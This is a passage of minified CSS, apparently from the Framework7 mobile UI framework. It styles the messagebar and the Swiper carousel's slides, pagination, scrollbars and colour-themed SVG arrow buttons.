img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-right:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-right:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .messagebar{font-size:16px}.md .messagebar:after{display:none}.md .messagebar textarea{padding:5px 8px;height:32px;color:#333;font-size:16px;line-height:22px}.md .messagebar a.link{color:#333}.md .messagebar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .messagebar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .messagebar:before{content:'';position:absolute;background-color:#d1d1d1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .messagebar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .messagebar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .messagebar-attachments{padding:8px;border-bottom:1px solid #ddd}.md .messagebar-area{margin-top:8px;margin-bottom:8px}.md .messagebar-sheet{background:#fff}.md .messagebar-sheet-image .icon-checkbox,.md .messagebar-sheet-item .icon-checkbox{border-color:#fff;background:rgba(255,255,255,.25);-webkit-box-shadow:0 0 10px rgba(0,0,0,.5);box-shadow:0 0 10px rgba(0,0,0,.5)}.md .messagebar-attachment-delete{right:8px;top:8px;width:24px;height:24px;background:#2196f3;cursor:pointer;border-radius:2px}.md .messagebar-attachment-delete:after,.md .messagebar-attachment-delete:before{width:14px;height:2px;background:#fff;margin-left:-7px;margin-top:-1px}.md .theme-dark .messagebar,.messagebar.md .theme-dark{background:#000}.md .theme-dark .messagebar:before,.messagebar.md .theme-dark:before{background-color:rgba(255,255,255,.2)}.md .theme-dark .messagebar a.link,.messagebar.md .theme-dark a.link{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar a.link:before,.messagebar.md .theme-dark a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .theme-dark .messagebar a.link.active-state:before,.messagebar.md .theme-dark a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .theme-dark .messagebar textarea,.messagebar.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar-attachments{border-bottom-color:rgba(255,255,255,.2)}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.md .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.md .swiper-button-prev,.md .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-button-next,.md .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .swiper-pagination-bullet-active{background:#2196f3}.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-red .swiper-button-prev,.md .color-theme-red .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-red,.md .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-red .swiper-button-next,.md .color-theme-red .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-red,.md .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E")}.md .color-red .swiper-pagination-bullet-active,.md .color-theme-red .swiper-pagination-bullet-active{background:#f44336}.md .color-red .swiper-pagination-progressbar,.md .color-red.swiper-pagination-progressbar,.md .color-theme-red .swiper-pagination-progressbar,.md .color-theme-red.swiper-pagination-progressbar{background:rgba(244,67,54,.25)}.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#f44336}.md .color-theme-green .swiper-button-prev,.md .color-theme-green .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-green,.md .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-green .swiper-button-next,.md .color-theme-green .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-green,.md .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E")}.md .color-green .swiper-pagination-bullet-active,.md .color-theme-green .swiper-pagination-bullet-active{background:#4caf50}.md .color-green .swiper-pagination-progressbar,.md .color-green.swiper-pagination-progressbar,.md .color-theme-green .swiper-pagination-progressbar,.md .color-theme-green.swiper-pagination-progressbar{background:rgba(76,175,80,.25)}.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4caf50}.md .color-theme-blue .swiper-button-prev,.md .color-theme-blue .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-blue,.md .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-blue .swiper-button-next,.md .color-theme-blue .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-blue,.md .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E")}.md .color-blue .swiper-pagination-bullet-active,.md .color-theme-blue .swiper-pagination-bullet-active{background:#2196f3}.md .color-blue .swiper-pagination-progressbar,.md .color-blue.swiper-pagination-progressbar,.md .color-theme-blue .swiper-pagination-progressbar,.md .color-theme-blue.swiper-pagination-progressbar{background:rgba(33,150,243,.25)}.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#2196f3}.md .color-theme-pink .swiper-button-prev,.md .color-theme-pink .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-pink,.md .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-pink .swiper-button-next,.md .color-theme-pink .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-pink,.md .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .color-pink .swiper-pagination-bullet-active,.md .color-theme-pink .swiper-pagination-bullet-active{background:#e91e63}.md .color-pink .swiper-pagination-progressbar,.md .color-pink.swiper-pagination-progressbar,.md .color-theme-pink .swiper-pagination-progressbar,.md .color-theme-pink.swiper-pagination-progressbar{background:rgba(233,30,99,.25)}.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#e91e63}.md .color-theme-yellow .swiper-button-prev,.md .color-theme-yellow .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-yellow,.md .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-button-next,.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-yellow,.md .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-yellow .swiper-pagination-bullet-active,.md .color-yellow .swiper-pagination-bullet-active{background:#ffeb3b}.md .color-theme-yellow .swiper-pagination-progressbar,.md .color-theme-yellow.swiper-pagination-progressbar,.md .color-yellow .swiper-pagination-progressbar,.md .color-yellow.swiper-pagination-progressbar{background:rgba(255,235,59,.25)}.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ffeb3b}.md .color-theme-orange .swiper-button-prev,.md .color-theme-orange .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-orange,.md .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-orange .swiper-button-next,.md .color-theme-orange .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-orange,.md .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .color-orange .swiper-pagination-bullet-active,.md .color-theme-orange .swiper-pagination-bullet-active{background:#ff9800}.md .color-orange .swiper-pagination-progressbar,.md .color-orange.swiper-pagination-progressbar,.md .color-theme-orange .swiper-pagination-progressbar,.md .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,152,0,.25)}.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9800}.md .color-theme-gray .swiper-button-prev,.md .color-theme-gray .swiper-container-rtl .swiper-button-next,.md .swiper-button-prev.color-gray,.md .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-theme-gray .swiper-button-next,.md .color-theme-gray .swiper-container-rtl .swiper-button-prev,.md .swiper-button-next.color-gray,.md .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .color-gray .swiper-pagination-bullet-active,.md .color-theme-gray .swiper-pagination-bullet-active{background:#9e9e9e}.md .color-gray .swiper-pagination-progressbar,.md .color-gray.swiper-pagination-progressbar,.md .color-theme-gray 